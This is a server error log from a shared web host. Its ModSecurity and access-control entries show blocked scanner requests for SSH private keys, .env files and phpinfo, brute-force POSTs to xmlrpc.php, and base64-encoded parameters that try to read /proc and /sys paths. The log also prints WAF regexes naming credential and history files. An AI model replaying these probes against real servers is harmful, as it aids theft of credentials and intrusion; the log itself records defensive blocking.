https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:25.477526 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.69:31250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:25.478007 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.69:31250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:25.531839 2026] [security2:error] [pid 648189:tid 648222] [remote 17.241.227.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2VWSojQL4F7upKBcJgAAwwI"] [Sat Jun 13 18:16:25.654503 2026] [security2:error] [pid 646876:tid 647045] [client 210.217.96.217:62129] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y2dyTkdrNlD40tSGoNgAAACU"] [Sat Jun 13 18:16:25.654689 2026] [security2:error] [pid 646876:tid 647045] [client 210.217.96.217:62129] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y2dyTkdrNlD40tSGoNgAAACU"] [Sat Jun 13 18:16:25.764474 2026] [security2:error] [pid 648189:tid 648336] [remote 17.241.227.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2VWSojQL4F7upKBcLgAAjnE"] [Sat Jun 13 18:16:25.830223 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:25.830505 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:25.873200 2026] [security2:error] [pid 648189:tid 648287] [remote 17.246.15.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2VWSojQL4F7upKBcLwAA5EE"] [Sat Jun 13 18:16:25.897431 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.67:50803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:25.897894 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.67:50803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:25.901493 2026] [security2:error] [pid 648189:tid 648422] [client 185.177.72.9:13588] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/.phpinfo"] [unique_id "ai3y2VWSojQL4F7upKBcMwAAAMk"] [Sat Jun 13 18:16:25.946463 2026] [access_compat:error] [pid 648189:tid 648253] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:16:25.960395 2026] [access_compat:error] [pid 648189:tid 648253] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:16:25.990260 2026] [security2:error] [pid 646876:tid 647127] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/streams/stream_get_meta_data_process_basic.phpt"] [unique_id "ai3y2dyTkdrNlD40tSGoRgAAAHc"] [Sat Jun 13 18:16:26.071168 2026] [security2:error] [pid 648189:tid 648254] [remote 17.22.253.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2lWSojQL4F7upKBcOgAA3iA"] [Sat Jun 13 18:16:26.141967 2026] [security2:error] [pid 648189:tid 648278] [remote 52.167.144.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2lWSojQL4F7upKBcOwAAijg"] [Sat Jun 13 18:16:26.356219 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.17:36628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:26.356645 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.17:36628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:26.384828 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:26.385179 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:26.598495 2026] [security2:error] [pid 648189:tid 648359] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.ssh/id_rsa"] [unique_id "ai3y2lWSojQL4F7upKBcSQAAAIs"] [Sat Jun 13 18:16:26.714339 2026] [security2:error] [pid 648189:tid 648325] [remote 80.5.248.154:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3y2lWSojQL4F7upKBcTwAA6WY"], referer: https://www.torquayfans.com [Sat Jun 13 18:16:26.714390 2026] [security2:error] [pid 648189:tid 648325] [remote 80.5.248.154:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3y2lWSojQL4F7upKBcTwAA6WY"], referer: https://www.torquayfans.com [Sat Jun 13 18:16:26.859589 2026] [access_compat:error] [pid 648189:tid 648318] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:16:26.859947 2026] [access_compat:error] [pid 648189:tid 648318] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:16:26.927321 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:26.927781 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:26.976057 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.67:50805] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:26.976799 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.67:50805] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:27.269527 2026] [security2:error] [pid 646876:tid 646968] [remote 17.246.23.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y29yTkdrNlD40tSGobgAAfFk"] [Sat Jun 13 18:16:27.338930 2026] [security2:error] [pid 648189:tid 648406] [client 45.157.112.43:36833] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.112.157.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "muranoaviacion.com"] [uri "/index.php/joomla-pages/j-pages/contact-us"] [unique_id "ai3y21WSojQL4F7upKBcZgAAALk"], referer: https://muranoaviacion.com/index.php/joomla-pages/j-pages/contact-us [Sat Jun 13 18:16:27.406623 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:27.406929 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:27.574156 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.52:24140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:27.574428 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.52:24140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:27.679020 2026] [access_compat:error] [pid 648189:tid 648345] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:16:27.679396 2026] [access_compat:error] [pid 648189:tid 648345] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:16:27.744890 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/07-accessing-data/begin/vue-heroes/.env"] [unique_id "ai3y21WSojQL4F7upKBccAAAAL0"] [Sat Jun 13 18:16:27.753451 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.18:44414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:27.753903 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.18:44414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:27.877952 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/07-accessing-data/end/vue-heroes/.env"] [unique_id "ai3y21WSojQL4F7upKBceAAAAPc"] [Sat Jun 13 18:16:27.897276 2026] [security2:error] [pid 646876:tid 646952] [remote 17.246.23.195:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 195.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y29yTkdrNlD40tSGoewAAP0k"] [Sat Jun 13 18:16:28.017427 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:28.017859 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:28.018947 2026] [security2:error] [pid 648189:tid 648370] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/08-routing/begin/vue-heroes/.env"] [unique_id "ai3y3FWSojQL4F7upKBcfAAAAJY"] [Sat Jun 13 18:16:28.047604 2026] [access_compat:error] [pid 648189:tid 648333] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:28.048028 2026] [access_compat:error] [pid 648189:tid 648333] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:28.121214 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.67:50809] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:28.121702 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.67:50809] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:28.151748 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] 